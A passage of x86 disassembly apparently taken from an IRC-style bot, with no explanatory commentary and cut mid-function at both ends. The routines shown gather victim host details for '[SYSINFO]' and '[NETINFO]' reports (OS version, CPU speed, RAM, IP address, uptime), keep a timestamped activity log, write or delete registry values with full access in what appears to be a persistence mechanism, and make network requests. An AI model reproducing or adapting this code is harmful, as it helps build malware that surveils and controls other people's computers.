push eax
lea eax, [ebp+var_C]
mov [ebp+var_1C], 0Ch
push eax
lea eax, [ebp+var_10]
push eax
mov [ebp+var_14], ebx
mov [ebp+var_18], esi
call edi
test eax, eax
jz loc_40A8F7
lea eax, [ebp+var_1C]
push esi
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
call edi
test eax, eax
jz loc_40A8F7
mov edi, dword_421104
push 3
push esi
push esi
push offset dword_43A708
call edi
push eax
push [ebp+var_8]
call edi
push eax
call dword_421100
test eax, eax
jz short loc_40A8F7
push 10h
loc_40A89A: ; DATA XREF: .nsp0:00424ED4o
; .nsp0:00424F18o ...
lea eax, [ebp+var_2C]
push esi
push eax
call sub_415570
push 44h
lea eax, [ebp+var_74]
pop edi
push edi
push esi
push eax
call sub_415570
mov eax, [ebp+var_4]
add esp, 18h
mov [ebp+var_3C], eax
mov eax, [ebp+var_C]
mov [ebp+var_38], eax
mov [ebp+var_34], eax
lea eax, [ebp+var_2C]
mov [ebp+var_74], edi
push eax
lea eax, [ebp+var_74]
push eax
push esi
push esi
push esi
push ebx
push esi
mov ebx, offset byte_438FDC
push esi
lea eax, [ebp+var_178]
push ebx
push eax
mov [ebp+var_48], 101h
mov [ebp+var_44], si
call dword_4210EC
test eax, eax
jnz short loc_40A8FF
loc_40A8F7: ; CODE XREF: sub_40A7FD+2Fj
; sub_40A7FD+5Cj ...
or eax, 0FFFFFFFFh
jmp loc_40A9AD
; ---------------------------------------------------------------------------
loc_40A8FF: ; CODE XREF: sub_40A7FD+F8j
push [ebp+var_4]
mov edi, dword_42106C
call edi
mov eax, [ebp+var_10]
push [ebp+var_28]
mov dword_43A704, eax
mov eax, [ebp+var_8]
mov dword_43A70C, eax
mov eax, [ebp+var_2C]
mov dword_43A700, eax
call edi
mov eax, [ebp+arg_0]
cmp [ebp+arg_4], esi
mov dword_43A744, eax
jz short loc_40A939
push [ebp+arg_4]
jmp short loc_40A93A
; ---------------------------------------------------------------------------
loc_40A939: ; CODE XREF: sub_40A7FD+135j
push ebx
loc_40A93A: ; CODE XREF: sub_40A7FD+13Aj
push offset dword_43A710
call sub_4154E7
pop ecx
pop ecx
push esi
push 7
push offset dword_42B680
call sub_414F93
mov edi, eax
mov ecx, [ebp+var_24]
imul edi, 234h
add esp, 0Ch
mov dword_43F550[edi], ecx
lea ecx, [ebp+var_30]
push ecx
push esi
push eax
push offset sub_40A6A8
push esi
push esi
call dword_42108C
cmp eax, esi
mov dword_43F55C[edi], eax
jnz short loc_40A9AB
call dword_421088
push eax
lea eax, [ebp+var_378]
push offset dword_42B638
push eax
call sub_4154E7
lea eax, [ebp+var_378]
push eax
call sub_40B16D
add esp, 10h
loc_40A9AB: ; CODE XREF: sub_40A7FD+185j
xor eax, eax
loc_40A9AD: ; CODE XREF: sub_40A7FD+FDj
pop edi
pop esi
pop ebx
leave
retn
sub_40A7FD endp
; =============== S U B R O U T I N E =======================================
sub_40A9B2 proc near ; CODE XREF: sub_407135+74p
; sub_40AAD1+217p ...
arg_0 = dword ptr 4
push ebx
push ebp
push esi
push edi
call dword_42104C
xor edx, edx
mov ecx, 3E8h
div ecx
mov ebx, 15180h
xor edx, edx
mov esi, ebx
mov edi, 0E10h
mov ebp, edi
push 3Ch
mov ecx, eax
sub ecx, [esp+14h+arg_0]
mov eax, ecx
div esi
mov esi, edx
xor edx, edx
mov eax, esi
div ebp
pop ebp
mov eax, edx
xor edx, edx
div ebp
xor edx, edx
push eax
mov eax, esi
div edi
xor edx, edx
mov esi, offset dword_43A74C
push eax
mov eax, ecx
div ebx
push eax
push offset aDdDhDm ; "%dd %dh %dm"
push 32h
push esi
call sub_415A6A
add esp, 18h
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
retn
sub_40A9B2 endp
; =============== S U B R O U T I N E =======================================
sub_40AA1B proc near ; CODE XREF: sub_40AAD1+290p
push ebx
push esi
push edi
mov esi, 0F4240h
loc_40AA23: ; CODE XREF: sub_40AA1B+2Fj
; sub_40AA1B+35j
rdtsc
push 3E8h
mov edi, edx
mov ebx, eax
call dword_421060
rdtsc
sub eax, ebx
push 0
sbb edx, edi
push esi
push edx
push eax
call sub_4172E0
mov edi, edx
mov ebx, eax
test edi, edi
ja short loc_40AA23
jb short loc_40AA52
cmp ebx, esi
ja short loc_40AA23
loc_40AA52: ; CODE XREF: sub_40AA1B+31j
push 0
push 64h
push edi
push ebx
call sub_417260
mov ecx, edx
push 64h
xor edx, edx
mov esi, eax
test ecx, ecx
pop eax
ja short loc_40AAC5
jb short loc_40AA71
cmp esi, 50h
jnb short loc_40AA76
loc_40AA71: ; CODE XREF: sub_40AA1B+4Fj
push 4Bh
xor edx, edx
pop eax
loc_40AA76: ; CODE XREF: sub_40AA1B+54j
test ecx, ecx
ja short loc_40AAC5
jb short loc_40AA81
cmp esi, 47h
jnb short loc_40AA86
loc_40AA81: ; CODE XREF: sub_40AA1B+5Fj
push 42h
xor edx, edx
pop eax
loc_40AA86: ; CODE XREF: sub_40AA1B+64j
test ecx, ecx
ja short loc_40AAC5
jb short loc_40AA91
cmp esi, 37h
jnb short loc_40AA96
loc_40AA91: ; CODE XREF: sub_40AA1B+6Fj
push 32h
xor edx, edx
pop eax
loc_40AA96: ; CODE XREF: sub_40AA1B+74j
test ecx, ecx
ja short loc_40AAC5
jb short loc_40AAA1
cmp esi, 26h
jnb short loc_40AAA6
loc_40AAA1: ; CODE XREF: sub_40AA1B+7Fj
push 21h
xor edx, edx
pop eax
loc_40AAA6: ; CODE XREF: sub_40AA1B+84j
test ecx, ecx
ja short loc_40AAC5
jb short loc_40AAB1
cmp esi, 1Eh
jnb short loc_40AAB6
loc_40AAB1: ; CODE XREF: sub_40AA1B+8Fj
push 19h
xor edx, edx
pop eax
loc_40AAB6: ; CODE XREF: sub_40AA1B+94j
test ecx, ecx
ja short loc_40AAC5
jb short loc_40AAC1
cmp esi, 0Ah
jnb short loc_40AAC5
loc_40AAC1: ; CODE XREF: sub_40AA1B+9Fj
xor eax, eax
xor edx, edx
loc_40AAC5: ; CODE XREF: sub_40AA1B+4Dj
; sub_40AA1B+5Dj ...
sub eax, esi
sbb edx, ecx
add eax, ebx
adc edx, edi
pop edi
pop esi
pop ebx
retn
sub_40AA1B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AAD1 proc near ; CODE XREF: sub_40CE55+541Fp
var_7E8 = byte ptr -7E8h
var_668 = byte ptr -668h
var_5E8 = byte ptr -5E8h
var_568 = byte ptr -568h
var_4E8 = byte ptr -4E8h
var_3E4 = byte ptr -3E4h
var_2E8 = byte ptr -2E8h
var_25C = word ptr -25Ch
var_25A = byte ptr -25Ah
var_15C = byte ptr -15Ch
var_114 = byte ptr -114h
var_CC = dword ptr -0CCh
var_C8 = dword ptr -0C8h
var_C4 = dword ptr -0C4h
var_C0 = dword ptr -0C0h
var_BC = dword ptr -0BCh
var_B8 = byte ptr -0B8h
var_38 = byte ptr -38h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_18 = byte ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 7E8h
push ebx
push esi
lea eax, [ebp+var_CC]
push edi
push eax
mov [ebp+var_4], offset byte_438FDC
mov [ebp+var_CC], 94h
call dword_42110C
xor ebx, ebx
cmp [ebp+var_C8], 4
jnz short loc_40AB58
cmp [ebp+var_C4], ebx
jnz short loc_40AB34
cmp [ebp+var_BC], 1
jnz short loc_40AB1E
mov [ebp+var_4], offset a95 ; "95"
loc_40AB1E: ; CODE XREF: sub_40AAD1+44j
cmp [ebp+var_BC], 2
jnz loc_40ABD3
mov [ebp+var_4], offset aNt ; "NT"
jmp short loc_40ABA4
; ---------------------------------------------------------------------------
loc_40AB34: ; CODE XREF: sub_40AAD1+3Bj
cmp [ebp+var_C4], 0Ah
jnz short loc_40AB46
mov [ebp+var_4], offset a98 ; "98"
jmp short loc_40AB9B
; ---------------------------------------------------------------------------
loc_40AB46: ; CODE XREF: sub_40AAD1+6Aj
cmp [ebp+var_C4], 5Ah
jnz short loc_40AB94
mov [ebp+var_4], offset aMe ; "ME"
jmp short loc_40AB9B
; ---------------------------------------------------------------------------
loc_40AB58: ; CODE XREF: sub_40AAD1+33j
cmp [ebp+var_C8], 5
jnz short loc_40AB94
cmp [ebp+var_C4], ebx
jnz short loc_40AB72
mov [ebp+var_4], offset a2k ; "2K"
jmp short loc_40AB9B
; ---------------------------------------------------------------------------
loc_40AB72: ; CODE XREF: sub_40AAD1+96j
cmp [ebp+var_C4], 1
jnz short loc_40AB84
mov [ebp+var_4], offset aXp ; "XP"
jmp short loc_40AB9B
; ---------------------------------------------------------------------------
loc_40AB84: ; CODE XREF: sub_40AAD1+A8j
cmp [ebp+var_C4], 2
mov [ebp+var_4], offset a2003 ; "2003"
jz short loc_40AB9B
loc_40AB94: ; CODE XREF: sub_40AAD1+7Cj
; sub_40AAD1+8Ej
mov [ebp+var_4], offset dword_42B7D0
loc_40AB9B: ; CODE XREF: sub_40AAD1+73j
; sub_40AAD1+85j ...
cmp [ebp+var_BC], 2
jnz short loc_40ABD3
loc_40ABA4: ; CODE XREF: sub_40AAD1+61j
cmp [ebp+var_B8], bl
jz short loc_40ABD3
lea eax, [ebp+var_B8]
push eax
lea eax, [ebp+var_2E8]
push [ebp+var_4]
push offset dword_42B7C8
push eax
call sub_4154E7
lea eax, [ebp+var_2E8]
add esp, 10h
mov [ebp+var_4], eax
loc_40ABD3: ; CODE XREF: sub_40AAD1+54j
; sub_40AAD1+D1j ...
mov ax, word_42B7C4
push 3Fh
mov [ebp+var_25C], ax
pop ecx
xor eax, eax
lea edi, [ebp+var_25A]
rep stosd
stosw
mov eax, dword_43A2A4
mov [ebp+var_C], 100h
cmp eax, ebx
jz short loc_40AC0C
lea ecx, [ebp+var_C]
push ecx
lea ecx, [ebp+var_25C]
push ecx
call eax
loc_40AC0C: ; CODE XREF: sub_40AAD1+12Cj
push [ebp+arg_4]
call sub_40A171
pop ecx
push eax
call dword_43A3F8
mov [ebp+var_8], eax
push 2
lea eax, [ebp+var_8]
push 4
push eax
call dword_43A370
cmp eax, ebx
jz short loc_40AC35
push dword ptr [eax]
jmp short loc_40AC3A
; ---------------------------------------------------------------------------
loc_40AC35: ; CODE XREF: sub_40AAD1+15Ej
push offset aCouldnTResolve ; "couldn't resolve host"
loc_40AC3A: ; CODE XREF: sub_40AAD1+162j
lea eax, [ebp+var_3E4]
push eax
call sub_4154E7
pop ecx
lea eax, [ebp+var_4E8]
pop ecx
push 104h
push eax
call dword_421058
lea eax, [ebp+var_114]
push 46h
push eax
push offset aDdMmmYyyy ; "dd:MMM:yyyy"
push ebx
mov esi, 409h
push ebx
push esi
call dword_421084
lea eax, [ebp+var_15C]
push 46h
push eax
push offset aHhMmSs ; "HH:mm:ss"
push ebx
push ebx
push esi
call dword_421080
push 20h
lea eax, [ebp+var_38]
push ebx
push eax
call sub_415570
add esp, 0Ch
lea eax, [ebp+var_38]
push eax
call dword_421110
push ebx
push ebx
lea eax, [ebp+var_18]
push ebx
push eax
lea eax, [ebp+var_4E8]
push eax
call sub_417348
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_7E8]
push eax
call sub_40C328
push 60h
mov esi, eax
pop ecx
lea edi, [ebp+var_7E8]
rep movsd
push 60h
lea esi, [ebp+var_7E8]
pop ecx
lea edi, [ebp+var_668]
rep movsd
push ebx
call sub_40A9B2
add esp, 20h
push eax
lea eax, [ebp+var_15C]
push eax
lea eax, [ebp+var_114]
push eax
lea eax, [ebp+var_25C]
push eax
push [ebp+arg_4]
call sub_40A171
pop ecx
push eax
lea eax, [ebp+var_3E4]
push eax
lea eax, [ebp+var_4E8]
push eax
lea eax, [ebp+var_5E8]
push [ebp+var_C0]
push [ebp+var_C4]
push [ebp+var_C8]
push [ebp+var_4]
push eax
lea eax, [ebp+var_568]
push eax
mov eax, [ebp+var_2C]
shr eax, 0Ah
push ebx
push eax
call sub_40C218
pop ecx
pop ecx
push eax
mov eax, [ebp+var_30]
shr eax, 0Ah
push ebx
push eax
call sub_40C218
pop ecx
pop ecx
push eax
call sub_40AA1B
push edx
push eax
push offset aSysinfoCpuI64u ; "[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB"...
push 200h
push [ebp+arg_0]
call sub_415A6A
mov eax, [ebp+arg_0]
add esp, 50h
pop edi
pop esi
pop ebx
leave
retn
sub_40AAD1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AD85 proc near ; CODE XREF: sub_40CE55+4422p
; sub_40CE55+544Dp
var_8C = byte ptr -8Ch
var_C = byte ptr -0Ch
var_8 = byte ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 8Ch
push esi
mov esi, 80h
push esi
lea eax, [ebp+var_8C]
push 0
push eax
call sub_415570
add esp, 0Ch
cmp dword_43A4A0, 0
jnz short loc_40ADF9
push 0
lea eax, [ebp+var_8C]
push esi
push eax
lea eax, [ebp+var_C]
push eax
call dword_43A288
test eax, eax
jnz short loc_40ADDA
lea eax, [ebp+var_8C]
push offset dword_42B844
push eax
call sub_4154E7
pop ecx
pop ecx
loc_40ADDA: ; CODE XREF: sub_40AD85+40j
test [ebp+var_C], 1
jz short loc_40ADF2
push offset dword_42B83C
loc_40ADE5: ; CODE XREF: sub_40AD85+72j
lea eax, [ebp+var_8]
push eax
call sub_4154E7
pop ecx
pop ecx
jmp short loc_40AE18
; ---------------------------------------------------------------------------
loc_40ADF2: ; CODE XREF: sub_40AD85+59j
push offset dword_42B838
jmp short loc_40ADE5
; ---------------------------------------------------------------------------
loc_40ADF9: ; CODE XREF: sub_40AD85+28j
mov esi, offset off_42B834
lea eax, [ebp+var_8]
push esi
push eax
call sub_4154E7
lea eax, [ebp+var_8C]
push esi
push eax
call sub_4154E7
add esp, 10h
loc_40AE18: ; CODE XREF: sub_40AD85+6Bj
push [ebp+arg_4]
push [ebp+arg_8]
call sub_40A171
pop ecx
push eax
lea eax, [ebp+var_8C]
push eax
lea eax, [ebp+var_8]
push eax
push offset aNetinfoTypeSS_ ; "[NETINFO]: [Type]: %s (%s). [IP Address"...
push 200h
push [ebp+arg_0]
call sub_415A6A
mov eax, [ebp+arg_0]
add esp, 1Ch
pop esi
leave
retn
sub_40AD85 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AE4B proc near ; DATA XREF: sub_40CE55+45F7o
var_65C = byte ptr -65Ch
var_55C = byte ptr -55Ch
var_35C = dword ptr -35Ch
var_358 = byte ptr -358h
var_2D8 = byte ptr -2D8h
var_258 = byte ptr -258h
var_1D8 = dword ptr -1D8h
var_1D4 = dword ptr -1D4h
var_1D0 = dword ptr -1D0h
var_1C8 = byte ptr -1C8h
var_148 = byte ptr -148h
var_C8 = byte ptr -0C8h
var_48 = dword ptr -48h
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = word ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 65Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 65h
mov esi, eax
pop ecx
lea edi, [ebp+var_35C]
rep movsd
push 1
mov edi, 80h
pop esi
xor ebx, ebx
mov [eax+190h], esi
push edi
lea eax, [ebp+var_148]
push ebx
push eax
mov [ebp+var_C], ebx
mov [ebp+var_4], ebx
mov [ebp+var_8], offset dword_42B988
call sub_415570
push edi
lea eax, [ebp+var_1C8]
push ebx
push eax
call sub_415570
push edi
lea eax, [ebp+var_C8]
push ebx
push eax
call sub_415570
push 100h
lea eax, [ebp+var_65C]
push ebx
push eax
call sub_415570
push 3Ch
lea eax, [ebp+var_48]
pop edi
push edi
push ebx
push eax
call sub_415570
add esp, 3Ch
lea eax, [ebp+var_48]
mov [ebp+var_48], edi
mov [ebp+var_34], esi
push eax
lea eax, [ebp+var_358]
push ebx
push eax
mov [ebp+var_28], esi
mov [ebp+var_20], esi
mov [ebp+var_18], esi
call sub_415CF0
pop ecx
push eax
lea eax, [ebp+var_358]
push eax
call dword_43A2C0
test eax, eax
jz loc_40AFE5
cmp [ebp+var_34], ebx
jbe short loc_40AF22
push [ebp+var_34]
lea eax, [ebp+var_148]
push [ebp+var_38]
push eax
call sub_416D40
add esp, 0Ch
loc_40AF22: ; CODE XREF: sub_40AE4B+C0j
cmp [ebp+var_28], ebx
movzx esi, [ebp+var_30]
jbe short loc_40AF40
push [ebp+var_28]
lea eax, [ebp+var_1C8]
push [ebp+var_2C]
push eax
call sub_416D40
add esp, 0Ch
loc_40AF40: ; CODE XREF: sub_40AE4B+DEj
cmp [ebp+var_20], ebx
jbe short loc_40AF5A
push [ebp+var_20]
lea eax, [ebp+var_C8]
push [ebp+var_24]
push eax
call sub_416D40
add esp, 0Ch
loc_40AF5A: ; CODE XREF: sub_40AE4B+F8j
cmp [ebp+var_18], ebx
jbe short loc_40AF74
push [ebp+var_18]
lea eax, [ebp+var_65C]
push [ebp+var_1C]
push eax
call sub_416D40
add esp, 0Ch
loc_40AF74: ; CODE XREF: sub_40AE4B+112j
push ebx
push ebx
lea eax, [ebp+var_C8]
push 3
push eax
lea eax, [ebp+var_1C8]
push eax
lea eax, [ebp+var_148]
push esi
push eax
push dword_43A368
call dword_43A38C
mov esi, eax
cmp esi, ebx
jz short loc_40AFFD
push ebx
lea eax, [ebp+var_8]
push 200h
push eax
lea eax, [ebp+var_2D8]
push eax
lea eax, [ebp+var_65C]
push ebx
push eax
push ebx
push esi
call dword_43A380
cmp eax, ebx
mov [ebp+var_4], eax
jz short loc_40B004
push ebx
push ebx
push ebx
push ebx
push eax
call dword_43A334
test eax, eax
jz short loc_40AFDE
push offset dword_42B958
jmp short loc_40B009
; ---------------------------------------------------------------------------
loc_40AFDE: ; CODE XREF: sub_40AE4B+18Aj
push offset unk_42B908
jmp short loc_40B009
; ---------------------------------------------------------------------------
loc_40AFE5: ; CODE XREF: sub_40AE4B+B7j
lea eax, [ebp+var_55C]
push offset dword_42B8D8
push eax
call sub_4154E7
mov esi, [ebp+var_C]
pop ecx
pop ecx
jmp short loc_40B017
; ---------------------------------------------------------------------------
loc_40AFFD: ; CODE XREF: sub_40AE4B+153j
push offset unk_42B898
jmp short loc_40B009
; ---------------------------------------------------------------------------
loc_40B004: ; CODE XREF: sub_40AE4B+17Bj
push offset unk_42B854
loc_40B009: ; CODE XREF: sub_40AE4B+191j
; sub_40AE4B+198j ...
lea eax, [ebp+var_55C]
push eax
call sub_4154E7
pop ecx
pop ecx
loc_40B017: ; CODE XREF: sub_40AE4B+1B0j
cmp [ebp+var_1D4], ebx
jnz short loc_40B042
push ebx
lea eax, [ebp+var_55C]
push [ebp+var_1D0]
push eax
lea eax, [ebp+var_258]
push eax
push [ebp+var_35C]
call sub_412D4C
add esp, 14h
loc_40B042: ; CODE XREF: sub_40AE4B+1D2j
lea eax, [ebp+var_55C]
push eax
call sub_40B16D
pop ecx
push esi
call dword_43A3EC
push [ebp+var_4]
call dword_43A3EC
push [ebp+var_1D8]
call sub_4152AF
pop ecx
push ebx
call dword_421048
pop edi
pop esi
pop ebx
sub_40AE4B endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B075 proc near ; CODE XREF: sub_40CE55+4355p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push esi
push edi
mov esi, offset dword_43E7C8
mov edi, 0B8h
loc_40B089: ; CODE XREF: sub_40B075+33j
cmp byte ptr [esi], 0
jz short loc_40B0AC
push [ebp+arg_0]
push esi
call sub_415910
pop ecx
test eax, eax
pop ecx
jz short loc_40B0AC
inc [ebp+var_4]
add esi, edi
cmp esi, offset dword_43F348
jl short loc_40B089
jmp short loc_40B0EE
; ---------------------------------------------------------------------------
loc_40B0AC: ; CODE XREF: sub_40B075+17j
; sub_40B075+26j
mov esi, [ebp+var_4]
push ebx
imul esi, 0B8h
push edi
push 0
lea ebx, dword_43E7C8[esi]
push ebx
call sub_415570
push 17h
push [ebp+arg_0]
push ebx
call sub_416D40
push 9Fh
lea eax, dword_43E7E0[esi]
push [ebp+arg_4]
push eax
call sub_416D40
add esp, 24h
inc dword_42E7B8
pop ebx
loc_40B0EE: ; CODE XREF: sub_40B075+35j
mov eax, [ebp+var_4]
pop edi
pop esi
leave
retn
sub_40B075 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B0F5 proc near ; CODE XREF: sub_40CE55+5588p
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
push esi
push edi
push 0
push [ebp+arg_8]
push offset dword_42B998
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412D4C
add esp, 14h
xor edi, edi
mov esi, offset dword_43E7C8
loc_40B11F: ; CODE XREF: sub_40B0F5+72j
cmp byte ptr [esi], 0
jz short loc_40B15A
lea eax, [esi+18h]
push eax
push esi
push edi
push offset dword_42B98C
lea eax, [ebp+var_200]
push 200h
push eax
call sub_415A6A
push 1
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412D4C
add esp, 2Ch
loc_40B15A: ; CODE XREF: sub_40B0F5+2Dj
add esi, 0B8h
inc edi
cmp esi, offset dword_43F348
jl short loc_40B11F
pop edi
pop esi
leave
retn
sub_40B0F5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B16D proc near ; CODE XREF: sub_401000+97p
; sub_4010B2+314p ...
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_A = word ptr -0Ah
var_8 = word ptr -8
var_6 = word ptr -6
var_4 = word ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push esi
lea eax, [ebp+var_10]
push edi
push eax
call dword_42105C
mov ebx, offset dword_43E784
mov edi, 80h
mov esi, offset dword_43A784
loc_40B18F: ; CODE XREF: sub_40B16D+3Dj
cmp byte ptr [ebx], 0
jz short loc_40B1A6
push 7Fh
lea eax, [ebx+80h]
push ebx
push eax
call sub_416D40
add esp, 0Ch
loc_40B1A6: ; CODE XREF: sub_40B16D+25j
sub ebx, edi
cmp ebx, esi
jge short loc_40B18F
movzx eax, [ebp+var_4]
push [ebp+arg_0]
push eax
movzx eax, [ebp+var_6]
push eax
movzx eax, [ebp+var_8]
push eax
movzx eax, [ebp+var_10]
push eax
movzx eax, [ebp+var_A]
push eax
movzx eax, [ebp+var_E]
push eax
push offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
push edi
push esi
call sub_415A6A
add esp, 28h
pop edi
pop esi
pop ebx
leave
retn
sub_40B16D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B1E1 proc near ; CODE XREF: sub_407BFE+15Bp
; sub_407D86+1AFp ...
var_80 = byte ptr -80h
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
sub esp, 80h
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_80]
push [ebp+arg_0]
push 80h
push eax
call sub_41748F
lea eax, [ebp+var_80]
push eax
call sub_40B16D
add esp, 14h
leave
retn
sub_40B1E1 endp
; =============== S U B R O U T I N E =======================================
sub_40B20D proc near ; CODE XREF: sub_40CE55+5482p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov eax, offset dword_43A784
xor ecx, ecx
loc_40B214: ; CODE XREF: sub_40B20D+13j
mov [eax], cl
add eax, 80h
cmp eax, offset dword_43E784
jl short loc_40B214
cmp [esp+arg_C], ecx
push esi
mov esi, offset dword_42B9CC
jnz short loc_40B244
push ecx
push [esp+8+arg_8]
push esi
push [esp+10h+arg_4]
push [esp+14h+arg_0]
call sub_412D4C
add esp, 14h
loc_40B244: ; CODE XREF: sub_40B20D+1Fj
push esi
call sub_40B16D
pop ecx
pop esi
retn
sub_40B20D endp
; =============== S U B R O U T I N E =======================================
sub_40B24D proc near ; CODE XREF: sub_4033CB+298p
arg_0 = dword ptr 4
push esi
mov esi, offset dword_43A784
loc_40B253: ; CODE XREF: sub_40B24D+27j
cmp byte ptr [esi], 0
jz short loc_40B268
push [esp+4+arg_0]
push esi
call sub_409B42
pop ecx
test eax, eax
pop ecx
jnz short loc_40B27A
loc_40B268: ; CODE XREF: sub_40B24D+9j
add esi, 80h
cmp esi, offset dword_43E784
jl short loc_40B253
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_40B27A: ; CODE XREF: sub_40B24D+19j
push 1
pop eax
pop esi
retn
sub_40B24D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B27F proc near ; DATA XREF: sub_40CE55+5532o
var_31C = byte ptr -31Ch
var_11C = dword ptr -11Ch
var_118 = byte ptr -118h
var_98 = byte ptr -98h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 31Ch
mov eax, [ebp+arg_0]
push esi
push edi
push 45h
pop ecx
mov esi, eax
lea edi, [ebp+var_11C]
push 1
rep movsd
xor edx, edx
pop edi
cmp [ebp+var_10], edx
mov [ebp+var_8], 80h
mov [ebp+var_4], edx
mov [eax+110h], edi
jnz short loc_40B2D2
push edx
lea eax, [ebp+var_118]
push [ebp+var_14]
push offset dword_42BA34
push eax
push [ebp+var_11C]
call sub_412D4C
add esp, 14h
loc_40B2D2: ; CODE XREF: sub_40B27F+33j
cmp [ebp+var_98], 0
jz short loc_40B2F2
lea eax, [ebp+var_98]
push eax
call sub_415A5F
test eax, eax
pop ecx
mov [ebp+var_4], eax
jz short loc_40B2F2
mov [ebp+var_8], eax
loc_40B2F2: ; CODE XREF: sub_40B27F+5Aj
; sub_40B27F+6Ej
and [ebp+arg_0], 0
mov esi, offset dword_43A784
loc_40B2FB: ; CODE XREF: sub_40B27F+D4j
mov eax, [ebp+arg_0]
cmp eax, [ebp+var_8]
jge short loc_40B355
cmp byte ptr [esi], 0
jz short loc_40B344
cmp [ebp+var_98], 0
jz short loc_40B32A
cmp [ebp+var_4], 0
jnz short loc_40B32A
lea eax, [ebp+var_98]
push eax
push esi
call sub_409B42
pop ecx
test eax, eax
pop ecx
jz short loc_40B344
loc_40B32A: ; CODE XREF: sub_40B27F+90j
; sub_40B27F+96j
push edi
lea eax, [ebp+var_118]
push [ebp+var_14]
push esi
push eax
push [ebp+var_11C]
call sub_412D4C
add esp, 14h
loc_40B344: ; CODE XREF: sub_40B27F+87j
; sub_40B27F+A9j
inc [ebp+arg_0]
add esi, 80h
cmp esi, offset dword_43E784
jl short loc_40B2FB
loc_40B355: ; CODE XREF: sub_40B27F+82j
lea eax, [ebp+var_31C]
push offset dword_42BA04
push eax
call sub_4154E7
xor esi, esi
pop ecx
cmp [ebp+var_10], esi
pop ecx
jnz short loc_40B38F
push esi
lea eax, [ebp+var_31C]
push [ebp+var_14]
push eax
lea eax, [ebp+var_118]
push eax
push [ebp+var_11C]
call sub_412D4C
add esp, 14h
loc_40B38F: ; CODE XREF: sub_40B27F+EEj
lea eax, [ebp+var_31C]
push eax
call sub_40B16D
push [ebp+var_18]
call sub_4152AF
pop ecx
pop ecx
push esi
call dword_421048
pop edi
pop esi
sub_40B27F endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B3AE proc near ; CODE XREF: sub_409E15+1Ep
; sub_40C682+350p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, offset dword_42BA58
xor esi, esi
mov ebx, offset dword_42C21C
loc_40B3C1: ; CODE XREF: sub_40B3AE+69j
lea eax, [ebp+var_4]
push esi
push eax
push esi
push 0F003Fh
push esi
push esi
push esi
push dword ptr [edi+4]
push dword ptr [edi]
call dword_43A36C
cmp [ebp+arg_0], esi
jz short loc_40B3FB
push [ebp+arg_0]
call sub_415CF0
pop ecx
push eax
push [ebp+arg_0]
push 1
push esi
push ebx
push [ebp+var_4]
call dword_43A3DC
jmp short loc_40B405
; ---------------------------------------------------------------------------
loc_40B3FB: ; CODE XREF: sub_40B3AE+2Fj
push ebx
push [ebp+var_4]
call dword_43A324
loc_40B405: ; CODE XREF: sub_40B3AE+4Bj
push [ebp+var_4]
call dword_43A394
add edi, 8
cmp edi, offset dword_42BA70
jl short loc_40B3C1
pop edi
pop esi
pop ebx
leave
retn
sub_40B3AE endp
; =============== S U B R O U T I N E =======================================
sub_40B41E proc near ; CODE XREF: sub_40B459+56p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov edx, [esp+arg_0]
push esi
or esi, 0FFFFFFFFh
test eax, eax
jz short loc_40B453
push ebx
push edi
lea edi, [eax]
mov ecx, 0FFh
loc_40B437: ; CODE XREF: sub_40B41E+31j
mov al, [edx]
mov ebx, esi
and eax, ecx
and ebx, ecx
xor eax, ebx
shr esi, 8
mov eax, dword_42125C[eax*4]
